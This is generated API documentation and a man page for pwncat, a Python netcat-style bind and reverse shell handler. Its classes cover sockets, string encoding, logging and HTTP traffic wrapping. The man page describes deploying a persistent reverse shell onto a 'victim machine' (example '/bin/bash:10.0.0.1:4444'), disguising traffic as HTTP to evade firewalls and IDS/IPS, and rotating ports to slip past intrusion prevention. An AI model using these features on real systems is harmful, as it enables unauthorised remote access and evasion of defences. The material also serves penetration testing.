        self.__log.debug("Resolved %s host: %s", self.get_family_name(family), addr)
        return addr
    except (AttributeError, socket.gaierror) as error:
        msg = "Resolving {} host: {} failed: {}".format(
            self.get_family_name(family), str(host), str(error)
        )
        self.__log.debug(msg)
        raise socket.gaierror(msg)  # type: ignore
def listen(self, sock, backlog)

Listen for connections made to the socket.

Args

sock : socket.socket
The socket to listen on.
backlog : int
Listen backlog

Raises

socket.error
If listening fails.
Expand source code 
def listen(self, sock, backlog):
    # type: (socket.socket, int) -> None
    """Listen for connections made to the socket.

    Args:
        sock (socket.socket): The socket to listen on.
        backlog (int): Listen backlog

    Raises:
        socket.error: If listening fails.
    """
    try:
        self.__log.debug("Listening with backlog=%d", backlog)
        sock.listen(backlog)
    except socket.error as error:
        msg = "Listening failed: {}".format(error)
        self.__log.error(msg)
        raise socket.error(msg)
def shutdown_recv(self, sock, name)

Shuts down a socket for receiving data (only allow to send data).

Args

name : str
Name of the socket used for logging purposes.
sock : str
Socket to shutdown for receive.
Expand source code 
def shutdown_recv(self, sock, name):
    # type: (socket.socket, str) -> None
    """Shuts down a socket for receiving data (only allow to send data).

    Args:
        name (str): Name of the socket used for logging purposes.
        sock (str): Socket to shutdown for receive.
    """
    try:
        # (SHUT_RD)   0 = Done receiving (disallows receiving)
        # (SHUT_WR)   1 = Done sending (disallows sending)
        # (SHUT_RDWR) 2 = Both
        self.__log.trace("Shutting down %s socket for receiving", name)  # type: ignore
        sock.shutdown(socket.SHUT_RD)
    except (OSError, socket.error):
        # We do not log errors here, as unconnected sockets cannot
        # be shutdown and we want to throw any socket at this function.
        pass
def shutdown_send(self, sock, name)

Shuts down a socket for sending data (only allow to receive data).

Args

name : str
Name of the socket used for logging purposes.
sock : str
Socket to shutdown for send.
Expand source code 
def shutdown_send(self, sock, name):
    # type: (socket.socket, str) -> None
    """Shuts down a socket for sending data (only allow to receive data).

    Args:
        name (str): Name of the socket used for logging purposes.
        sock (str): Socket to shutdown for send.
    """
    try:
        # (SHUT_RD)   0 = Done receiving (disallows receiving)
        # (SHUT_WR)   1 = Done sending (disallows sending)
        # (SHUT_RDWR) 2 = Both
        self.__log.trace("Shutting down %s socket for sending", name)  # type: ignore
        sock.shutdown(socket.SHUT_WR)
    except (OSError, socket.error):
        # We do not log errors here, as unconnected sockets cannot
        # be shutdown and we want to throw any socket at this function.
        pass
class StringEncoder

Takes care about Python 2/3 string encoding/decoding.

This allows to parse all string/byte values internally between all classes or functions as strings to keep full Python 2/3 compat.

Expand source code 
class StringEncoder(object):
    """Takes care about Python 2/3 string encoding/decoding.

    This allows to parse all string/byte values internally between all
    classes or functions as strings to keep full Python 2/3 compat.
    """

    CODECS = [
        "utf-8",
        "cp437",
        "latin-1",
    ]

    # --------------------------------------------------------------------------
    # Class methods
    # --------------------------------------------------------------------------
    @classmethod
    def rstrip(cls, data, search=None):
        # type: (Union[bytes, str], Optional[str]) -> Union[bytes, str]
        """Implementation of rstring which works on bytes or strings."""
        # We have a bytes object in Python3
        if sys.version_info >= (3, 0) and type(data) is not str:
            # Strip whitespace
            if search is None:
                while True:
                    new = data
                    new = cls.rstrip(new, " ")
                    new = cls.rstrip(new, "\n")
                    new = cls.rstrip(new, "\r")
                    new = cls.rstrip(new, "\t")
                    # Loop until no more changes occur
                    if new == data:
                        return new
            else:
                bsearch = StringEncoder.encode(search)
                while data[-1:] == bsearch:
                    data = data[:-1]
                return data

        # Use native function
        if search is None:
            return data.rstrip()
        return data.rstrip(search)  # type: ignore

    @classmethod
    def encode(cls, data):
        # type: (str) -> bytes
        """Convert string into a byte type for Python3."""
        if sys.version_info >= (3, 0):
            for codec in cls.CODECS:
                # On the last codec, do not catch the exception and let it trigger if it fails
                if codec == cls.CODECS[-1]:
                    return data.encode(codec)
                try:
                    return data.encode(codec)
                except UnicodeEncodeError:
                    pass
        return data  # type: ignore

    @classmethod
    def decode(cls, data):
        # type: (bytes) -> str
        """Convert bytes into a string type for Python3."""
        if sys.version_info >= (3, 0):
            for codec in cls.CODECS:
                # On the last codec, do not catch the exception and let it trigger if it fails
                if codec == cls.CODECS[-1]:
                    return data.decode(codec)
                try:
                    return data.decode(codec)
                except UnicodeDecodeError:
                    pass
        return data  # type: ignore

Class variables

var CODECS

Static methods

def decode(data)

Convert bytes into a string type for Python3.

Expand source code 
@classmethod
def decode(cls, data):
    # type: (bytes) -> str
    """Convert bytes into a string type for Python3."""
    if sys.version_info >= (3, 0):
        for codec in cls.CODECS:
            # On the last codec, do not catch the exception and let it trigger if it fails
            if codec == cls.CODECS[-1]:
                return data.decode(codec)
            try:
                return data.decode(codec)
            except UnicodeDecodeError:
                pass
    return data  # type: ignore
def encode(data)

Convert string into a byte type for Python3.

Expand source code 
@classmethod
def encode(cls, data):
    # type: (str) -> bytes
    """Convert string into a byte type for Python3."""
    if sys.version_info >= (3, 0):
        for codec in cls.CODECS:
            # On the last codec, do not catch the exception and let it trigger if it fails
            if codec == cls.CODECS[-1]:
                return data.encode(codec)
            try:
                return data.encode(codec)
            except UnicodeEncodeError:
                pass
    return data  # type: ignore
def rstrip(data, search=None)

Implementation of rstring which works on bytes or strings.

Expand source code 
@classmethod
def rstrip(cls, data, search=None):
    # type: (Union[bytes, str], Optional[str]) -> Union[bytes, str]
    """Implementation of rstring which works on bytes or strings."""
    # We have a bytes object in Python3
    if sys.version_info >= (3, 0) and type(data) is not str:
        # Strip whitespace
        if search is None:
            while True:
                new = data
                new = cls.rstrip(new, " ")
                new = cls.rstrip(new, "\n")
                new = cls.rstrip(new, "\r")
                new = cls.rstrip(new, "\t")
                # Loop until no more changes occur
                if new == data:
                    return new
        else:
            bsearch = StringEncoder.encode(search)
            while data[-1:] == bsearch:
                data = data[:-1]
            return data

    # Use native function
    if search is None:
        return data.rstrip()
    return data.rstrip(search)  # type: ignore
class TraceLogger (name, level=0)

Extend Python's default logger class with TRACE level logging.

Instantiate TraceLogger class.

Args

name : str
Instance name.
level : int
Current log level.
Expand source code 
class TraceLogger(logging.getLoggerClass()):  # type: ignore
    """Extend Python's default logger class with TRACE level logging."""

    LEVEL_NUM = 9
    LEVEL_NAME = "TRACE"

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, name, level=logging.NOTSET):
        # type: (str, int) -> None
        """Instantiate TraceLogger class.

        Args:
            name (str):  Instance name.
            level (int): Current log level.
        """
        super(TraceLogger, self).__init__(name, level)
        logging.addLevelName(self.LEVEL_NUM, self.LEVEL_NAME)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def trace(self, msg, *args, **kwargs):
        # type: (str, Any, Any) -> None
        """Set custom log level for TRACE.

        Args:
            msg (str): The log message.
            args (args): *args for trace level log function.
            kwargs (kwargs): kwargs for trace level log function.
        """
        if self.isEnabledFor(self.LEVEL_NUM):
            # Yes, logger takes its '*args' as 'args'.
            self._log(self.LEVEL_NUM, msg, args, **kwargs)

Ancestors

  • logging.Logger
  • logging.Filterer

Class variables

var LEVEL_NAME
var LEVEL_NUM

Methods

def trace(self, msg, *args, **kwargs)

Set custom log level for TRACE.

Args

msg : str
The log message.
args : args
*args for trace level log function.
kwargs : kwargs
kwargs for trace level log function.
Expand source code 
def trace(self, msg, *args, **kwargs):
    # type: (str, Any, Any) -> None
    """Set custom log level for TRACE.

    Args:
        msg (str): The log message.
        args (args): *args for trace level log function.
        kwargs (kwargs): kwargs for trace level log function.
    """
    if self.isEnabledFor(self.LEVEL_NUM):
        # Yes, logger takes its '*args' as 'args'.
        self._log(self.LEVEL_NUM, msg, args, **kwargs)
class Transform

Abstract class to for pwncat I/O transformers.

This is a skeleton that defines how the transformer for pwncat should look like.

Set specific options for this transformer.

Expand source code 
class Transform(ABC):  # type: ignore
    """Abstract class to for pwncat I/O transformers.

    This is a skeleton that defines how the transformer for pwncat should look like.
    """

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def log(self):
        # type: () -> logging.Logger
        """`TraceLogger`: Logger instance."""
        return self.__log

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    @abstractmethod
    def __init__(self):
        # type: () -> None
        """Set specific options for this transformer."""
        super(Transform, self).__init__()
        self.__log = logging.getLogger(__name__)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    @abstractmethod
    def transform(self, data):
        # type: (bytes) -> bytes
        """Implement a transformer function which transforms a string..

        Args:
            data (bytes): data to be transformed.

        Returns:
            bytes: The transformed string.
        """

Ancestors

  • abc.ABC

Subclasses

Instance variables

var log

TraceLogger: Logger instance.

Expand source code 
@property
def log(self):
    # type: () -> logging.Logger
    """`TraceLogger`: Logger instance."""
    return self.__log

Methods

def transform(self, data)

Implement a transformer function which transforms a string..

Args

data : bytes
data to be transformed.

Returns

bytes
The transformed string.
Expand source code 
@abstractmethod
def transform(self, data):
    # type: (bytes) -> bytes
    """Implement a transformer function which transforms a string..

    Args:
        data (bytes): data to be transformed.

    Returns:
        bytes: The transformed string.
    """
class TransformHttpPack (opts)

Implement a transformation to pack data into HTTP packets.

Set specific options for this transformer.

Args

opts : DsTransformLinefeed
Transformer options.
Expand source code 
class TransformHttpPack(Transform):
    """Implement a transformation to pack data into HTTP packets."""

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, opts):
        # type: (Dict[str, str]) -> None
        """Set specific options for this transformer.

        Args:
            opts (DsTransformLinefeed): Transformer options.

        """
        super(TransformHttpPack, self).__init__()
        self.__opts = opts
        self.__log = logging.getLogger(__name__)

        assert "reply" in opts
        assert opts["reply"] in ["request", "response"]

        # Initial default header
        self.__headers = [
            "Accept-Charset: utf-8",
        ]

        self.__response_headers_sent = False

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def transform(self, data):
        # type: (bytes) -> bytes
        """Wrap data into a HTTP packet.

        Returns:
            bytes: The wrapped string.
        """
        request_header = [
            "POST / HTTP/1.1",
            "Host: {}".format(self.__opts["host"]),
            "User-Agent: pwncat",
            "Accept: */*",
            "Conent-Length: {}".format(len(data)),
            "Content-Type: text/plain; charset=UTF-8",
        ]
        response_header = [
            "HTTP/1.1 200 OK",
            "Date: {}".format(self.__get_date()),
            "Server: pwncat",
            "Conent-Length: {}".format(len(data)),
            "Connection: close",
        ]

        self.__response_headers_sent = True

        if self.__opts["reply"] == "request":
            header = StringEncoder.encode(
                "\n".join(request_header) + "\n" + "\n".join(self.__headers) + "\n\n"
            )
        else:
            header = StringEncoder.encode(
                "\n".join(response_header) + "\n" + "\n".join(self.__headers) + "\n\n"
            )
        return header + data

    # --------------------------------------------------------------------------
    # Private Functions
    # --------------------------------------------------------------------------
    def __get_date(self):  # pylint: disable=no-self-use
        # type: () -> str
        now = datetime.utcnow()
        weekday = ["Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"][now.weekday()]
        month = [
            "Jan",
            "Feb",
            "Mar",
            "Apr",
            "May",
            "Jun",
            "Jul",
            "Aug",
            "Sep",
            "Oct",
            "Nov",
            "Dec",
        ][now.month - 1]
        return "%s, %02d %s %04d %02d:%02d:%02d GMT" % (
            weekday,
            now.day,
            month,
            now.year,
            now.hour,
            now.minute,
            now.second,
        )

Ancestors

Methods

def transform(self, data)

Wrap data into a HTTP packet.

Returns

bytes
The wrapped string.
Expand source code 
def transform(self, data):
    # type: (bytes) -> bytes
    """Wrap data into a HTTP packet.

    Returns:
        bytes: The wrapped string.
    """
    request_header = [
        "POST / HTTP/1.1",
        "Host: {}".format(self.__opts["host"]),
        "User-Agent: pwncat",
        "Accept: */*",
        "Conent-Length: {}".format(len(data)),
        "Content-Type: text/plain; charset=UTF-8",
    ]
    response_header = [
        "HTTP/1.1 200 OK",
        "Date: {}".format(self.__get_date()),
        "Server: pwncat",
        "Conent-Length: {}".format(len(data)),
        "Connection: close",
    ]

    self.__response_headers_sent = True

    if self.__opts["reply"] == "request":
        header = StringEncoder.encode(
            "\n".join(request_header) + "\n" + "\n".join(self.__headers) + "\n\n"
        )
    else:
        header = StringEncoder.encode(
            "\n".join(response_header) + "\n" + "\n".join(self.__headers) + "\n\n"
        )
    return header + data

Inherited members

class TransformHttpUnpack (opts)

Implement a transformation to unpack data from HTTP packets.

Set specific options for this transformer.

Args

opts : DsTransformLinefeed
Transformer options.
Expand source code 
class TransformHttpUnpack(Transform):
    """Implement a transformation to unpack data from HTTP packets."""

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, opts):
        # type: (Dict[str, str]) -> None
        """Set specific options for this transformer.

        Args:
            opts (DsTransformLinefeed): Transformer options.

        """
        super(TransformHttpUnpack, self).__init__()
        self.__opts = opts
        self.__log = logging.getLogger(__name__)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def transform(self, data):
        # type: (bytes) -> bytes
        """Unwrap data from a HTTP packet.

        Returns:
            str: The wrapped string.
        """
        request = StringEncoder.encode(r"^(GET|HEAD|POST|PUT|DELETE|CONNECT|OPTIONS|TRACE|PATCH)")
        response = StringEncoder.encode(r"^HTTP/[.0-9]+")

        # Did not receive a valid HTTP request, so we return the original untransformed message
        if not (re.match(request, data) or re.match(response, data)):
            return data

        body = StringEncoder.encode(r"(\r\n\r\n|\n\n)(.*)")
        match = re.search(body, data)

        # Check if we can separate headers and body
        if match is None or len(match.group()) < 2:
            return data
        return match.group(2)

Ancestors

Methods

def transform(self, data)

Unwrap data from a HTTP packet.

Returns

str
The wrapped string.
Expand source code 
def transform(self, data):
    # type: (bytes) -> bytes
    """Unwrap data from a HTTP packet.

    Returns:
        str: The wrapped string.
    """
    request = StringEncoder.encode(r"^(GET|HEAD|POST|PUT|DELETE|CONNECT|OPTIONS|TRACE|PATCH)")
    response = StringEncoder.encode(r"^HTTP/[.0-9]+")

    # Did not receive a valid HTTP request, so we return the original untransformed message
    if not (re.match(request, data) or re.match(response, data)):
        return data

    body = StringEncoder.encode(r"(\r\n\r\n|\n\n)(.*)")
    match = re.search(body, data)

    # Check if we can separate headers and body
    if match is None or len(match.group()) < 2:
        return data
    return match.group(2)

Inherited members

class TransformLinefeed (opts)

Implement basic linefeed replacement.

Set specific options for this transformer.

Args

opts : DsTransformLinefeed
Transformer options.
Expand source code 
class TransformLinefeed(Transform):
    """Implement basic linefeed replacement."""

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, opts):
        # type: (DsTransformLinefeed) -> None
        """Set specific options for this transformer.

        Args:
            opts (DsTransformLinefeed): Transformer options.

        """
        super(TransformLinefeed, self).__init__()
        self.__opts = opts

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def transform(self, data):
        # type: (bytes) -> bytes
        """Transform linefeeds to CRLF, LF or CR if requested.

        Returns:
            str: The string with altered linefeeds.
        """
        # 'auto' keep it as it is
        if self.__opts.crlf is None:
            return data

        # ? -> No line feeds
        if self.__opts.crlf == "no":
            if data[-2:] == StringEncoder.encode("\r\n"):
                self.log.debug("Removing CRLF")
                return data[:-2]
            if data[-1:] == StringEncoder.encode("\n"):
                self.log.debug("Removing LF")
                return data[:-1]
            if data[-1:] == StringEncoder.encode("\r"):
                self.log.debug("Removing CR")
                return data[:-1]
        # ? -> CRLF
        if self.__opts.crlf == "crlf" and data[-2:] != StringEncoder.encode("\r\n"):
            if data[-1:] == StringEncoder.encode("\n"):
                self.log.debug("Replacing LF with CRLF")
                return data[:-1] + StringEncoder.encode("\r\n")
            if data[-1:] == StringEncoder.encode("\r"):
                self.log.debug("Replacing CR with CRLF")
                return data[:-1] + StringEncoder.encode("\r\n")
        # ? -> LF
        if self.__opts.crlf == "lf":
            if data[-2:] == StringEncoder.encode("\r\n"):
                self.log.debug("Replacing CRLF with LF")
                return data[:-2] + StringEncoder.encode("\n")
            if data[-1:] == StringEncoder.encode("\r"):
                self.log.debug("Replacing CR with LF")
                return data[:-1] + StringEncoder.encode("\n")
        # ? -> CR
        if self.__opts.crlf == "cr":
            if data[-2:] == StringEncoder.encode("\r\n"):
                self.log.debug("Replacing CRLF with CR")
                return data[:-2] + StringEncoder.encode("\r")
            if data[-1:] == StringEncoder.encode("\n"):
                self.log.debug("Replacing LF with CR")
                return data[:-1] + StringEncoder.encode("\r")

        # Otherwise just return it as it is
        return data

Ancestors

Methods

def transform(self, data)

Transform linefeeds to CRLF, LF or CR if requested.

Returns

str
The string with altered linefeeds.
Expand source code 
def transform(self, data):
    # type: (bytes) -> bytes
    """Transform linefeeds to CRLF, LF or CR if requested.

    Returns:
        str: The string with altered linefeeds.
    """
    # 'auto' keep it as it is
    if self.__opts.crlf is None:
        return data

    # ? -> No line feeds
    if self.__opts.crlf == "no":
        if data[-2:] == StringEncoder.encode("\r\n"):
            self.log.debug("Removing CRLF")
            return data[:-2]
        if data[-1:] == StringEncoder.encode("\n"):
            self.log.debug("Removing LF")
            return data[:-1]
        if data[-1:] == StringEncoder.encode("\r"):
            self.log.debug("Removing CR")
            return data[:-1]
    # ? -> CRLF
    if self.__opts.crlf == "crlf" and data[-2:] != StringEncoder.encode("\r\n"):
        if data[-1:] == StringEncoder.encode("\n"):
            self.log.debug("Replacing LF with CRLF")
            return data[:-1] + StringEncoder.encode("\r\n")
        if data[-1:] == StringEncoder.encode("\r"):
            self.log.debug("Replacing CR with CRLF")
            return data[:-1] + StringEncoder.encode("\r\n")
    # ? -> LF
    if self.__opts.crlf == "lf":
        if data[-2:] == StringEncoder.encode("\r\n"):
            self.log.debug("Replacing CRLF with LF")
            return data[:-2] + StringEncoder.encode("\n")
        if data[-1:] == StringEncoder.encode("\r"):
            self.log.debug("Replacing CR with LF")
            return data[:-1] + StringEncoder.encode("\n")
    # ? -> CR
    if self.__opts.crlf == "cr":
        if data[-2:] == StringEncoder.encode("\r\n"):
            self.log.debug("Replacing CRLF with CR")
            return data[:-2] + StringEncoder.encode("\r")
        if data[-1:] == StringEncoder.encode("\n"):
            self.log.debug("Replacing LF with CR")
            return data[:-1] + StringEncoder.encode("\r")

    # Otherwise just return it as it is
    return data

Inherited members

class TransformSafeword (opts)

Implement a trigger to emergency shutdown upon receival of a specific safeword.

Set specific options for this transformer.

Args

opts : DsTransformLinefeed
Transformer options.
Expand source code 
class TransformSafeword(Transform):
    """Implement a trigger to emergency shutdown upon receival of a specific safeword."""

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, opts):
        # type: (DsTransformSafeword) -> None
        """Set specific options for this transformer.

        Args:
            opts (DsTransformLinefeed): Transformer options.

        """
        super(TransformSafeword, self).__init__()
        self.__opts = opts
        self.__log = logging.getLogger(__name__)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def transform(self, data):
        # type: (bytes) -> bytes
        """Raise a stop signal upon receiving the safeword.

        Returns:
            str: The string as it is without changes
        """
        if StringEncoder.encode(self.__opts.safeword) in data:
            self.log.trace("TERMINATE signal RAISED in TransformSafeword.transform")  # type: ignore
            self.__opts.ssig.raise_terminate()
        return data

Ancestors

Methods

def transform(self, data)

Raise a stop signal upon receiving the safeword.

Returns

str
The string as it is without changes
Expand source code 
def transform(self, data):
    # type: (bytes) -> bytes
    """Raise a stop signal upon receiving the safeword.

    Returns:
        str: The string as it is without changes
    """
    if StringEncoder.encode(self.__opts.safeword) in data:
        self.log.trace("TERMINATE signal RAISED in TransformSafeword.transform")  # type: ignore
        self.__opts.ssig.raise_terminate()
    return data

Inherited members

pwncat-0.1.2/docs/pwncat.man.html000066400000000000000000000470761414025024700167070ustar00rootroot00000000000000 pwncat(1) - man page

PWNCAT: man page

NAME
DESCRIPTION

NAME

pwncat: − a sophisticated bind and reverse shell handler with many features as well as a drop-in replacement or compatible complement to netcat, ncat or socat.

DESCRIPTION

usage: pwncat [options] hostname port

pwncat [options] −l [hostname] port pwncat [options] −z hostname port pwncat [options] −L [addr:]port hostname port pwncat [options] −R addr:port hostname port pwncat −V, −−version pwncat −h, −−help

Enhanced and comptaible Netcat implementation written in Python (2 and 3) with connect, zero−i/o, listen and forward modes and techniques to detect and evade firewalls and intrusion detection/prevention systems.

If no mode arguments are specified, pwncat will run in connect mode and act as a client to connect to a remote endpoint. If the connection to the remote endoint is lost, pwncat will quit. See options for how to automatically reconnect.

positional arguments:
hostname

Address to listen, forward, scan or connect to.

port

[All modes] Single port to listen, forward or connect to. [Zero−I/O mode] Specify multiple ports to scan: Via list: 4444,4445,4446 Via range: 4444−4446 Via incr: 4444+2

mode arguments:
−l, −−listen

[Listen mode]: Start a server and listen for incoming connections. If using TCP and a connected client disconnects or the connection is interrupted otherwise, the server will quit. See −k/−−keep−open to change this behaviour.

−z, −−zero

[Zero−I/0 mode]: Connect to a remote endpoint and report status only. Used for port scanning. See −−banner for version detection.

−L [addr:]port, −−local [addr:]port

[Local forward mode]: This mode will start a server and a client internally. The internal server will listen locally on specified addr/port (given by −−local [addr:]port). The server will then forward traffic to the internal client which connects to another server specified by hostname/port given via positional arguments. (I.e.: proxies a remote service to a local address)

−R addr:port, −−remote addr:port

[Remote forward mode]: This mode will start two clients internally. One is connecting to the target and one is connecting to another pwncat/netcat server you have started somewhere. Once connected, it will then proxy traffic between you and the target. This mode should be applied on machines that block incoming traffic and only allow outbound. The connection to your listening server is given by −R/−−remote addr:port and the connection to the target machine via the positional arguments.

optional arguments:
−e cmd, −−exec cmd

Execute shell command. Only for connect or listen mode.

−C lf, −−crlf lf

Specify, ’lf’, ’crlf’ or ’cr’ to always force replacing line endings for input and outout accordingly. Specify ’no’ to completely remove any line feeds. By default it will not replace anything and takes what is entered (usually CRLF on Windows, LF on Linux and some times CR on MacOS).

−n, −−nodns

Do not resolve DNS.

−−send−on−eof

Buffer data received on stdin until EOF and send everything in one chunk.

−−no−shutdown

Do not shutdown into half−duplex mode. If this option is passed, pwncat won’t invoke shutdown on a socket after seeing EOF on stdin. This is provided for backward−compatibility with OpenBSD netcat, which exhibits this behavior.

−v, −−verbose

Be verbose and print info to stderr. Use −v, −vv, −vvv or −vvvv for more verbosity. The server performance will decrease drastically if you use more than three times.

−−info type

Show additional info about sockets, IPv4/6 or TCP opts applied to the current socket connection. Valid parameter are ’sock’, ’ipv4’, ’ipv6’, ’tcp’ or ’all’. Note, you must at least be in INFO verbose mode in order to see them (−vv).

−c str, −−color str

Colored log output. Specify ’always’, ’never’ or ’auto’. In ’auto’ mode, color is displayed as long as the output goes to a terminal. If it is piped into a file, color will automatically be disabled. This mode also disables color on Windows by default. (default: auto)

−−safe−word str

All modes: If pwncat is started with this argument, it will shut down as soon as it receives the specified string. The −−keep−open (server) or −−reconn (client) options will be ignored and it won’t listen again or reconnect to you. Use a very unique string to not have it shut down accidentally by other input.

protocol arguments:

−4

Only Use IPv4 (default: IPv4 and IPv6 dualstack).

−6

Only Use IPv6 (default: IPv4 and IPv6 dualstack).

−u, −−udp

Use UDP for the connection instead of TCP.

−T str, −−tos str

Specifies IP Type of Service (ToS) for the connection. Valid values are the tokens ’mincost’, ’lowcost’, ’reliability’, ’throughput’ or ’lowdelay’.

−−http

Connect / Listen mode (TCP and UDP): Hide traffic in http packets to fool Firewalls/IDS/IPS.

−−https

Connect / Listen mode (TCP and UDP): Hide traffic in https packets to fool Firewalls/IDS/IPS.

−H [str ...], −−header [str ...]

Add HTTP headers to your request when using −−http(s).

command & control arguments:
−−self−inject cmd:host:port[s]

Listen mode (TCP only): If you are about to inject a reverse shell onto the victim machine (via php, bash, nc, ncat or similar), start your listening server with this argument. This will then (as soon as the reverse shell connects) automatically deploy and background−run an unbreakable pwncat reverse shell onto the victim machine which then also connects back to you with specified arguments. Example: ’−−self−inject /bin/bash:10.0.0.1:4444’ It is also possible to launch multiple reverse shells by specifying multiple ports. Via list: −−self−inject /bin/sh:10.0.0.1:4444,4445,4446 Via range: −−self−inject /bin/sh:10.0.0.1:4444−4446 Via incr: −−self−inject /bin/sh:10.0.0.1:4444+2 Note: this is currently an experimental feature and does not work on Windows remote hosts yet.

pwncat scripting engine:
−−script−send file

All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed before sending data to a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse):

# NOTE: the function name must be ’transform’

# NOTE: the function param name must be ’data’ # NOTE: indentation must be 4 spaces # ... your transformations goes here return data

You can also define as many custom functions or classes

within this file, but ensure to prefix them uniquely to not collide with pwncat’s function or classes, as the file will be called with exec().

−−script−recv file

All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed after receiving data from a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse):

# NOTE: the function name must be ’transform’

# NOTE: the function param name must be ’data’ # NOTE: indentation must be 4 spaces # ... your transformations goes here return data

You can also define as many custom functions or classes

within this file, but ensure to prefix them uniquely to not collide with pwncat’s function or classes, as the file will be called with exec().

zero-i/o mode arguments:
−−banner

Zero−I/O (TCP and UDP): Try banner grabbing during port scan.

listen mode arguments:
−k, −−keep−open

Listen mode (TCP only): Re−accept new clients in listen mode after a client has disconnected or the connection is interrupted otherwise. (default: server will quit after connection is gone)

−−rebind [x]

Listen mode (TCP and UDP): If the server is unable to bind, it will re−initialize itself x many times before giving up. Omit the quantifier to rebind endlessly or specify a positive integer for how many times to rebind before giving up. See −−rebind−robin for an interesting use−case. (default: fail after first unsuccessful try).

−−rebind−wait s

Listen mode (TCP and UDP): Wait x seconds between re−initialization. (default: 1)

−−rebind−robin port

Listen mode (TCP and UDP): If the server is unable to initialize (e.g: cannot bind and −−rebind is specified, it it will shuffle ports in round−robin mode to bind to. Use comma separated string such as ’80,81,82,83’, a range of ports ’80−83’ or an increment ’80+3’. Set −−rebind to at least the number of ports to probe +1 This option requires −−rebind to be specified.

connect mode arguments:
−−source−addr addr

Specify source bind IP address for connect mode.

−−source−port port

Specify source bind port for connect mode.

−−reconn [x]

Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted, the client will connect again x many times before giving up. Omit the quantifier to retry endlessly or specify a positive integer for how many times to retry before giving up. (default: quit if the remote is not available or the connection was interrupted) This might be handy for stable TCP reverse shells ;−) Note on UDP: By default UDP does not know if it is connected, so it will stop at the first port and assume it has a connection. Consider using −−udp−sconnect with this option to make UDP aware of a successful connection.

−−reconn−wait s

Connect mode (TCP and UDP): Wait x seconds between re−connects. (default: 1)

−−reconn−robin port

Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted and −−reconn is specified, the client will shuffle ports in round−robin mode to connect to. Use comma separated string such as ’80,81,82,83’, a range of ports ’80−83’ or an increment ’80+3’. Set −−reconn to at least the number of ports to probe +1 This helps reverse shell to evade intrusiona prevention systems that will cut your connection and block the outbound port. This is also useful in Connect or Zero−I/O mode to figure out what outbound ports are allowed.

−−ping−init

Connect mode (TCP and UDP): UDP is a stateless protocol unlike TCP, so no handshake communication takes place and the client just sends data to a server without being "accepted" by the server first. This means a server waiting for an UDP client to connect to, is unable to send any data to the client, before the client hasn’t send data first. The server simply doesn’t know the IP address before an initial connect. The −−ping−init option instructs the client to send one single initial ping packet to the server, so that it is able to talk to the client. This is a way to make a UDP reverse shell work. See −−ping−word for what char/string to send as initial ping packet (default: ’\0’)

−−ping−intvl s

Connect mode (TCP and UDP): Instruct the client to send ping intervalls every s sec. This allows you to restart your UDP server and just wait for the client to report back in. This might be handy for stable UDP reverse shells ;−) See −−ping−word for what char/string to send as initial ping packet (default: ’\0’)

−−ping−word str

Connect mode (TCP and UDP): Change the default character ’\0’ to use for upd ping. Single character or strings are supported.

−−ping−robin port

Connect mode (TCP and UDP): Instruct the client to shuffle the specified ports in round−robin mode for a remote server to ping. This might be handy to scan outbound allowed ports. Use comma separated string such as ’80,81,82,83’, a range of ports ’80−83’ or an increment ’80+3’. Use −−ping−intvl 0 to be faster.

−−udp−sconnect

Connect mode (UDP only): Emulating stateful behaviour for UDP connect phase by sending an initial packet to the server to validate if it is actually connected. By default, UDP will simply issue a connect and is not aware if it is really connected or not. The default connect packet to be send is ’\0’, you can change this with −−udp−sconnect−word.

−−udp−sconnect−word [str]

Connect mode (UDP only): Change the the data to be send for UDP stateful connect behaviour. Note you can also omit the string to send an empty packet (EOF), but be aware that some servers such as netcat will instantly quit upon receive of an EOF packet. The default is to send a null byte sting: ’\0’.

misc arguments:
−h, −−help

Show this help message and exit

−V, −−version

Show version information and exit

pwncat-0.1.2/docs/pwncat.type.html000066400000000000000000043325331414025024700171140ustar00rootroot00000000000000 pwncat - Type Coverage

pwncat - Type Coverage

Summary from index
File Imprecision Lines
Total 6.00% imprecise 6364 LOC
bin/pwncat 6.00% imprecise 6364 LOC

pwncat

bin/pwncat 
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#!/usr/bin/env python3
"""pwncat."""

# Main sections in this file:
# ------------------------------------
#  1. Data structure types
#  2. Library classes
#  3. Network
#  4. Transformer
#  5. IO modules
#  6. PSE Store
#  7. IO Runner / InterruptHandler
#  8. Command & Control
#  9. Command line arguments
# 10. Main entrypoint
#
# How does it work?
# ------------------------------------
# 1. IO (Various input/output modules based on producer/consumer)
# 2. Transformer (transforms data)
# 3. Runner (puts IO consumer/producer into threads)
# 4. Signaling / Interrupts
#
# 1. IO
# ------------------------------------
# IO classes provide basic input/output functionality.
# The producer will constantly gather input (net recv, user input, command output)
# The consumer is a callback applied to this data (net send, output, command execution)
# Each producer/consumer pair will be put into a thread by the Runner instance.
#
# 2. Transformer
# ---------------------------
# Transformer sit on top of a IO callback and can transform the data before it is send
# to the callback. (e.g.: convert LF to CRLF, convert simple text into a HTTP POST request,
# convert a HTTP POST response into text, encrypt/decrypt, etc.)
#
# 3. Runner - The really cool meat:
# ------------------------------------
